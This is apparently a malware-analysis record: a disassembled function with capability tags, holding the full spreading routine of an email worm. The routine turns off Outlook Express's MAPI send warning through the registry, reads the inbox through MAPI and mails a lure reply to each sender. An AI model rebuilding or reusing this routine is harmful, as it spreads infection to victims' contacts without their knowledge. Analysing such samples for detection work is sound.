Function at 0x406810
Capabilities:
Link many functions at runtime
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov ecx, 0x416640
call fcn.004059f0
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
xor esi, esi
push eax
push 1
push esi
push str.Identities
push 0x80000001
mov dword [esp + 0x2c], 0x64
mov dword [esp + 0x30], esi
call edi
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x80]
push ecx
push edx
push esi
push esi
push str.Default_User_ID
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x80]
push str.SoftwareMicrosoftOutlook_Express5.0Mail
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x80]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 2
lea eax, [esp + 0x88]
push esi
push eax
push ecx
call edi
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push 4
push edx
push 4
push esi
push str.Warn_on_Mapi_Send
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call edi
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.MAPI32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.MAPILogon
push ebx
call edi
push str.MAPIFindNext
push ebx
mov dword [0x416634], eax
call edi
push str.MAPIReadMail
push ebx
mov dword [0x416630], eax
call edi
push str.MAPIFreeBuffer
push ebx
mov dword [0x41662c], eax
call edi
push str.MAPISendMail
push ebx
mov dword [0x416624], eax
call edi
push 0x416620
push esi
push esi
push esi
push esi
push esi
mov dword [0x416638], eax
call dword [0x416634]
mov ecx, ebp
call fcn.00406ae0
mov eax, dword [0x416620]
push 0x416420
push esi
push 0x4000
push esi
push esi
push esi
push eax
call dword [0x416630]
test eax, eax
jne 0x406ac2
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ebp, 0x417864
mov ecx, dword [0x416620]
push 0x41641c
push esi
push 0x80
push 0x416420
push esi
push ecx
call dword [0x41662c]
test eax, eax
jne 0x406a9b
mov edx, dword [0x41641c]
mov eax, dword [edx + 0x1c]
lea edx, [esp + 0xe4]
mov ecx, dword [eax + 8]
push ecx
push str._s..._angle_for_you..___
push edx
call edi
mov eax, dword [0x416414]
lea ecx, [esp + 0x170]
push eax
push str.Please_read_an_attacments_bellow_and_make_your_opinion_____nYou_can_send_your_opinion_back_to_my_email_address_n_nthanks...____n_n_n_n_s
push ecx
call edi
lea eax, [esp + 0x17c]
lea edx, [esp + 0xfc]
mov dword [esp + 0x70], eax
mov eax, 1
mov dword [esp + 0x6c], edx
mov dword [esp + 0x88], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x54], eax
mov eax, dword [0x41641c]
lea ecx, [esp + 0x50]
lea edx, [esp + 0x38]
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x44], ebp
mov dword [esp + 0x48], ebp
mov dword [esp + 0x4c], esi
mov dword [esp + 0x68], esi
mov dword [esp + 0x74], esi
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], esi
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x94], edx
mov dword [esp + 0x50], esi
mov ecx, dword [eax + 0x1c]
add esp, 0x18
mov edx, dword [ecx + 8]
push esi
mov dword [esp + 0x44], edx
mov eax, dword [eax + 0x1c]
lea edx, [esp + 0x54]
push esi
mov ecx, dword [eax + 0xc]
mov eax, dword [0x416620]
push edx
push esi
push eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], esi
call dword [0x416638]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x416620]
push 0x416420
push esi
push 0x4000
push 0x416420
push esi
push esi
push ecx
call dword [0x416630]
test eax, eax
je 0x406980
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret